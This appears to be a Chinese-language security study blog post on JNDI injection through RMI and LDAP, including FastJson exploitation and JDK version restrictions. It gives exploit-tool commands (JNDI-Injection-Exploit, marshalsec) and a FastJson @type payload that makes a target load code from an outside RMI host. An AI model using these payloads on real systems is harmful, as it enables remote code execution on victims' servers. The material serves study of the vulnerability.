安全学习_开发相关_JNDI介绍(注入)&RMI&LDAP服务

文章目录

参考&本节目的

https://blog.csdn.net/dupei/article/details/120534024

高版本绕过参考:

https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

什么是jndi注入

为什么有jndi注入

JDNI注入安全问题

JDNI注入利用条件

参考:https://blog.csdn.net/dupei/article/details/120534024

JNDI概念-RMI&LDAP服务

JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。

RMI:远程方法调用注册表

LDAP:轻量级目录访问协议

调用检索:

Java为了将Object对象存储在Naming或Directory服务下,提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming或Directory服务下,比如RMI、LDAP等。

javax.naming.InitialContext.lookup()

在RMI服务中调用了InitialContext.lookup()的常用类有:

java 复制代码
org.springframework.transaction.jta.JtaTransactionManager.readObject()

com.sun.rowset.JdbcRowSetImpl.execute()

javax.management.remote.rmi.RMIConnector.connect()

org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)

在LDAP服务中调用了InitialContext.lookup()的常用类有:

java 复制代码
InitialDirContext.lookup()

Spring LdapTemplate.lookup()

LdapTemplate.lookupContext()

JNDI中内置了rmi、ldap服务

rmi、ldap都可以进行远程调用对象,可以远程执行java代码class文件

攻击利用中就用到了jndi-injection和marshalsec工具

jdk高版本会影响rmi和ldap的利用(marshalsec针对ldap高版本有一定绕过方法。

JNDI注入-使用工具生成远程调用

JNDI远程调用-工具(jndi-injection)自主定义

1、使用远程调用(默认端口1389)

new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/xxx");

new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/xxx");

2、使用利用工具生成调用地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A xx.xx.xx.xx

JNDI远程调用-工具marshalsec

1、使用远程调用(默认端口1389)

new InitialContext().lookup("ldap://xx.xx.xx.xx:1389/Test");

new InitialContext().lookup("rmi://xx.xx.xx.xx:1099/Test");

2、编译调用对象

javac Test.java

将对象编译为class文件,放入远程服务器后利用工具生成调用协议

3、使用利用工具生成调用协议(rmi,ldap)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test

4、将生成的Class存放访问路径

JNDI注入-FastJson漏洞结合

背景:JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞)

思路:利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入

漏洞利用FastJson autotype处理Json对象的时候,未对@type字段进行完整的安全性验证,攻击者可以传入危险类,并调用危险类连接远程RMI主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞,获取服务器敏感信息,甚至可以利用此漏洞进一步的对服务器数据进行操作。

1、报错判断FastJson

2、使用工具生成远程调用方法

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 47.94.236.117

3、提交JSON数据Payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/vwaexx","autoCommit":true}

该类最终调用了InitialContext.lookup()

JNDI注入-JDK高版本注入绕过

JDK 6u45、7u21之后:

java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,

将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。

使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。

JDK 6u141、7u131、8u121之后:

增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,

因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。

JDK 6u211、7u201、8u191之后:

增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,

禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

高版本绕过参考:

https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

marshalsec中集成了一些绕过,绕过的ldap服务。

相关推荐
24zhgjx-lxq3 小时前
华为ensp:MSTP
网络·安全·华为·hcip·ensp
星火开发设计4 小时前
类型别名 typedef:让复杂类型更简洁
开发语言·c++·学习·算法·函数·知识
Gorgous—l4 小时前
数据结构算法学习:LeetCode热题100-多维动态规划篇(不同路径、最小路径和、最长回文子串、最长公共子序列、编辑距离)
数据结构·学习·算法
code_li4 小时前
“信息安全”与“网络安全”区别
安全·网络安全·信息安全
交通上的硅基思维5 小时前
人工智能安全:风险、机制与治理框架研究
人工智能·安全·百度
sysinside5 小时前
Invicti Standard v26.1.0 for Windows - 企业级 Web 应用与 API 安全
安全·invicti
独角鲸网络安全实验室5 小时前
本地信任成“致命漏洞”:数千Clawdbot Agent公网裸奔,供应链与内网安全告急
网络·网关·安全·php·漏洞·clawdbot·信任机制漏洞
倔强的石头1065 小时前
关键信息基础设施的数据库选型:高可用、全链路安全与平滑替代的技术实践
数据库·安全·金仓数据库
Hello_Embed5 小时前
libmodbus 移植 STM32(基础篇)
笔记·stm32·单片机·学习·modbus